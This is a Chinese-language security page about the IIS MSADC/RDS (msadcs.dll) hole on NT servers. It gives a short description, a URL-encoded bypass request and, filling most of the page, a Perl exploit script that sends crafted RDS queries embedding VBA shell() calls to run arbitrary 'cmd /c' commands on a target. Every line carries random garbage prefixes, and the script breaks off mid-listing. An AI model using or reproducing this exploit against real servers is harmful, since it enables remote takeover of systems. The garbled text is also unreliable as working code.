IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
73kL>u g+M& _n 涉及程序:
,SSq4 Microsoft NT server
R%^AW2 K!_''Fg 描述:
"\1QJ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L=5Fvm t+Hx&_pMj 详细:
y7Sj^muBY 如果你没有时间读详细内容的话,就删除:
m6M:l"u c:\Program Files\Common Files\System\Msadc\msadcs.dll
{-)*.l= 有关的安全问题就没有了。
x>~.cey Q1?0]5 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
nwPU{4#l< UvM_~qo 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
dLy-J1h\ 关于利用ODBC远程漏洞的描述,请参看:
,N`D{H"F M[,G#GO http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z+6%Ya&ls Z|qUVD5Ic 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
cp<jwcc! http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9aZ^m$tAt 0@dN$e 这里不再论述。
6i_dL|c xEvm>BZi
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
T&~7*j(|e xl;0&/7e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9!|+GIjn 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
@mId{w z Z7Xic5PI{4 Y'v;!11#
#将下面这段保存为txt文件,然后: "perl -x 文件名"
(w{C*iB
e&J_uG #!perl
R
SqO$~ #
3Mt Alc0xp # MSADC/RDS 'usage' (aka exploit) script
DB;Nr3x #
<<.%Gk # by rain.forest.puppy
{Qr0pjE7R #
>@c~ M # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_4#&!b6 # beta test and find errors!
gtV*`g 3&z.m/ use Socket; use Getopt::Std;
>gLLr1L\ getopts("e:vd:h:XR", \%args);
f6zS_y9gn JW-!m8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F(#~.i AV*eGzz` if (!defined $args{h} && !defined $args{R}) {
m5rJY/ print qq~
J{bNx8.& Usage: msadc.pl -h <host> { -d <delay> -X -v }
#Bgq]6G2 -h <host> = host you want to scan (ip or domain)
KK4"H]!. -d <seconds> = delay between calls, default 1 second
.WT^L2l% -X = dump Index Server path table, if available
kw.IVz< -v = verbose
mFXkrvOf, -e = external dictionary file for step 5
?\$\YX%/p [.`%]Z( Or a -R will resume a command session
a#G]5TZ Ps_q\R ~; exit;}
S|?Ht61k &b7i> () $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%1jApCJ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*.ZU" 5e if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
JDy ;Jb if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
I~.d/!>Z $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b&1-tYV if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<m3or /)E'%/"A if (!defined $args{R}){ $ret = &has_msadc;
duk:: |{F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yL>wCD,L t=Um@;wh print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C#A\Rfi . "cmd /c ";
5zBayJh# $in=<STDIN>; chomp $in;
d$(>=gzBQ $command="cmd /c " . $in ;
5};$>47m .A2u7*h& if (defined $args{R}) {&load; exit;}
\<R.F
3 @7<e~f print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Cq-#|+zr &try_btcustmr;
.6D9m.Q, &`J?`l X print "\nStep 2: Trying to make our own DSN...";
]9}T)Df' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`bF]O" Y?>us print "\nStep 3: Trying known DSNs...";
AZTn!hrU &known_dsn;
_p`@/[(| ^,M&PP6 print "\nStep 4: Trying known .mdbs...";
&G"r>,HU &known_mdb;
{k}EWV j$8i!C if (defined $args{e}){
q
T pvz print "\nStep 5: Trying dictionary of DSN names...";
Y4B<]C4 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
J|BZ{T}d g}]EIv{ print "Sorry Charley...maybe next time?\n";
XN=Cq*3} exit;
Jqt&TqX@s >`@yh-'r ##############################################################################
fx783 k-LT'>CWl sub sendraw { # ripped and modded from whisker
V^U1o[` sleep($delay); # it's a DoS on the server! At least on mine...
i!=28|_ my ($pstr)=@_;
?98]\pI
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Dxwv\+7] die("Socket problems\n");
0y3<Ho,+$ if(connect(S,pack "SnA4x8",2,80,$target)){
,t]qe select(S); $|=1;
<15POB print $pstr; my @in=<S>;
%$l^C!qcY select(STDOUT); close(S);
8uO@S*)0 return @in;
qWzzUM1= } else { die("Can't connect...\n"); }}
/<s$Am f @cs<x ##############################################################################
#!FLX*, Q#i^<WUpg sub make_header { # make the HTTP request
_ x.D< n=X my $msadc=<<EOT
g}-Ch# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
XT|!XC!| User-Agent: ACTIVEDATA
weOzs]uc Host: $ip
h!*++Y?&0 Content-Length: $clen
WSY&\8 Connection: Keep-Alive
yT>t[t60/S Q l$t ADCClientVersion:01.06
r12{XW?~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f~.w2Cna /~LXY<-( --!ADM!ROX!YOUR!WORLD!
u%7a&1c Content-Type: application/x-varg
hCLXL Content-Length: $reqlen
QxGQF| |@-%x.y EOT
i~IQlyGr. ; $msadc=~s/\n/\r\n/g;
>Ufjmm${ return $msadc;}
;
-RhI_ yMNLsR~ rh ##############################################################################
LxGE<xj|V% #c0
dZ sub make_req { # make the RDS request
Ur626} my ($switch, $p1, $p2)=@_;
4R U1tWQ% my $req=""; my $t1, $t2, $query, $dsn;
x Qh? a9E!2o+, if ($switch==1){ # this is the btcustmr.mdb query
S%ri/}qI[{ $query="Select * from Customers where City=" . make_shell();
h]94\XQ>$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
rI:KZ}GZ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
RT45@
O8+[)+6^ elsif ($switch==2){ # this is general make table query
%(-YOTDr $query="create table AZZ (B int, C varchar(10))";
-%=StWdb
$dsn="$p1";}
:{9|/a [hg|bpEG elsif ($switch==3){ # this is general exploit table query
T2wn!N?r $query="select * from AZZ where C=" . make_shell();
afEp4(X~ $dsn="$p1";}
f/b }X3K -?b@ 6U elsif ($switch==4){ # attempt to hork file info from index server
;UgRm# $query="select path from scope()";
L-d8bA $dsn="Provider=MSIDXS;";}
c=2e? $p4aNC elsif ($switch==5){ # bad query
{zGIQG9 $query="select";
K)qbd~<\ $dsn="$p1";}
sQ^>.yG Y\T*8\h_[ $t1= make_unicode($query);
'D-#,X
C $t2= make_unicode($dsn);
&F}1\6{fL $req = "\x02\x00\x03\x00";
Ar sMqb $req.= "\x08\x00" . pack ("S1", length($t1));
34C
^vBp $req.= "\x00\x00" . $t1 ;
cLlfncI $req.= "\x08\x00" . pack ("S1", length($t2));
KrkZv$u, $req.= "\x00\x00" . $t2 ;
)).;p_nLZ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&,Q{l$`X return $req;}
fBH&AO$Q ]tZ5XS ##############################################################################
h6x+.}} 81_3{OrE< sub make_shell { # this makes the shell() statement
D,eJR(5I return "'|shell(\"$command\")|'";}
Snt=Hil` $EJ*x$ ##############################################################################
|?Q(4(D`* &Jj> jCg sub make_unicode { # quick little function to convert to unicode
E|9LUPcb my ($in)=@_; my $out;
.bl0w"c^qq for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g]xZ^M+ return $out;}
6\,^MI t%z7#}9$ ##############################################################################
IQ{Xj3;?y 3i(k6)H$4 sub rdo_success { # checks for RDO return success (this is kludge)
MatC2-aV1 my (@in) = @_; my $base=content_start(@in);
bT-G<h*M if($in[$base]=~/multipart\/mixed/){
W7A'5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4Sg!NPuu7& return 0;}
cM4?Ggn +>qBK}` ##############################################################################
"tIf$z %FFw!eVi sub make_dsn { # this makes a DSN for us
FA^x|C =$ my @drives=("c","d","e","f");
Re1@2a> print "\nMaking DSN: ";
-e(2?Xq9 foreach $drive (@drives) {
N0RFPEQ~ print "$drive: ";
, m|9L{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
>2syF{`j "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
f9- |!]s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8
(^2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>KY\Bx return 0 if $2 eq "404"; # not found/doesn't exist
!T,7 if($2 eq "200") {
TjI NxP-O foreach $line (@results) {
e+R.0E return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
N/?MsrZw } return 0;}
^z&xy41#B iL 4SL}P ##############################################################################
J+*rjdI $fKwJFr sub verify_exists {
L)nVNY@Mc my ($page)=@_;
om_&|9B) my @results=sendraw("GET $page HTTP/1.0\n\n");
h.=B!wKK return $results[0];}
J|FyY)_ &<Gq-IN ##############################################################################
1]>KuXd
r 'fAD Dh} sub try_btcustmr {
a3c4#'c|D my @drives=("c","d","e","f");
iKabo,~ my @dirs=("winnt","winnt35","winnt351","win","windows");
Y(SI`Xo[ b"FsT foreach $dir (@dirs) {
yL
Q&<\ print "$dir -> "; # fun status so you can see progress
18A&[6"! foreach $drive (@drives) {
Zc4hjg print "$drive: "; # ditto
"}HQ)54& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
H+5]3>O-$ $reqlenlen=length( "$reqlen" );
aY:(0en]& $clen= 206 + $reqlenlen + $reqlen;
k13/yiv +~fu-%,k my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?ha}# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
:
m5u=:t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:s'%IGy>: E7eVg*Cvi ##############################################################################
<dYk|5AdLF ;5|EpoM sub odbc_error {
5N/]/ my (@in)=@_; my $base;
j=AJs< my $base = content_start(@in);
oNU* q.Q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"tj#P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pWx3l5)R $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!F<?h e<U $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Awh"SUOh0 return $in[$base+4].$in[$base+5].$in[$base+6];}
=h_gj > print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
b<( W}$x print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zBs7]z!eP $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
H0(zE*c~ Fp]8f&l8 ##############################################################################
-.*\J|S@g M<p )@p sub verbose {
:9h8q"T my ($in)=@_;
Gj ^bz'2 return if !$verbose;
|wb7`6g print STDOUT "\n$in\n";}
|fI%L9 7.Mh$?;i9 ##############################################################################
g^C6"rsnl oPbD9 sub save {
XP` kf]9 my ($p1, $p2, $p3, $p4)=@_;
v4zd
x) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
5,c` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
V0AX1?H~ w close OUT;}
>ATW/9r y^A$bTQq ##############################################################################
QLUe{@ivc $($SQZK& sub load {
~/x42|t my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P&tK}Se^V open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)g --=w3 @p=<IN>; close(IN);
;dFe >`~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
VxFy[rP $target= inet_aton($ip) || die("inet_aton problems");
@ubz?5 print "Resuming to $ip ...";
\fz
j fZ1n $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5VTbW if($p[1]==1) {
Zb}PP;O $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g7P1]CZ} $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<di_2hN my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
i`SF<)M( if (rdo_success(@results)){print "Success!\n";}
31*6 ;( else { print "failed\n"; verbose(odbc_error(@results));}}
JJ~?ON.H elsif ($p[1]==3){
\+uqP:Ty if(run_query("$p[3]")){
biG9? print "Success!\n";} else { print "failed\n"; }}
84[^#ke elsif ($p[1]==4){
4r. W:}4: if(run_query($drvst . "$p[3]")){
19.cf3Dh print "Success!\n"; } else { print "failed\n"; }}
vRq xZN exit;}
DsX>xzM O%&@WrFq ##############################################################################
dvD<>{U,8 LbR-uc?x sub create_table {
oSl>%} my ($in)=@_;
ZYsFd_ $reqlen=length( make_req(2,$in,"") ) - 28;
/(V=Um^0 $reqlenlen=length( "$reqlen" );
>&&xJ5 $clen= 206 + $reqlenlen + $reqlen;
U YQ$c }Z5 my @results=sendraw(make_header() . make_req(2,$in,""));
=vc5, return 1 if rdo_success(@results);
'/H(,TM my $temp= odbc_error(@results); verbose($temp);
`"H?nf0 return 1 if $temp=~/Table 'AZZ' already exists/;
Ds87#/Yfv return 0;}
mvgm o RF)B4D-W ##############################################################################
`0^i
# * jK))|% sub known_dsn {
i-?zwVmn # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@;6}xO2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y2R=%EFh6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
re!8nuBsA "banner", "banners", "ads", "ADCDemo", "ADCTest");
]CZLaID~
PBL^xlg foreach $dSn (@dsns) {
+_eb*Z`5o print ".";
pNlisS next if (!is_access("DSN=$dSn"));
$)3PF if(create_table("DSN=$dSn")){
5 DB>zou
print "$dSn successful\n";
:xPvEK[B7 if(run_query("DSN=$dSn")){
TyWy5J<
:+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]uvbQ.l_t print "Something's borked. Use verbose next time\n";}}} print "\n";}
>t2b?(h/x 4c=kT@=jX ##############################################################################
(@E#O$' "Cc"y* P sub is_access {
wP/9z(US my ($in)=@_;
C):d9OI? $reqlen=length( make_req(5,$in,"") ) - 28;
y^=oYL $reqlenlen=length( "$reqlen" );
@WHd(ka! $clen= 206 + $reqlenlen + $reqlen;
5S]P#8 my @results=sendraw(make_header() . make_req(5,$in,""));
`5-#M/J my $temp= odbc_error(@results);
:
xZC7" verbose($temp); return 1 if ($temp=~/Microsoft Access/);
aELT"b,x return 0;}
h!K2F~i{P ^qx\ e$R ##############################################################################
a{*'pY(R0$ g&TCff sub run_query {
z,|%?
1
my ($in)=@_;
E ZKz-} $reqlen=length( make_req(3,$in,"") ) - 28;
r$FM8$cJ $reqlenlen=length( "$reqlen" );
z[%v_S $clen= 206 + $reqlenlen + $reqlen;
|V\.[F2Fe my @results=sendraw(make_header() . make_req(3,$in,""));
*'YNRM\} return 1 if rdo_success(@results);
o'7ju~0L my $temp= odbc_error(@results); verbose($temp);
#L.}CzAz return 0;}
!2|`aa %GbPrlu ##############################################################################
5vi#ItN}| ;lH,bX~5 sub known_mdb {
,R}KcZG) my @drives=("c","d","e","f","g");
T(UYlLe my @dirs=("winnt","winnt35","winnt351","win","windows");
mzxvfXSF my $dir, $drive, $mdb;
iT5SuIv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
FRt/{(jro Zk#i9[g9* # this is sparse, because I don't know of many
y] ]Vp~R:[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
^Cn]+0G#C8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ff1B)e "\\system32\\certmdb.mdb",
0~b6wuFl "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
!7`=rT&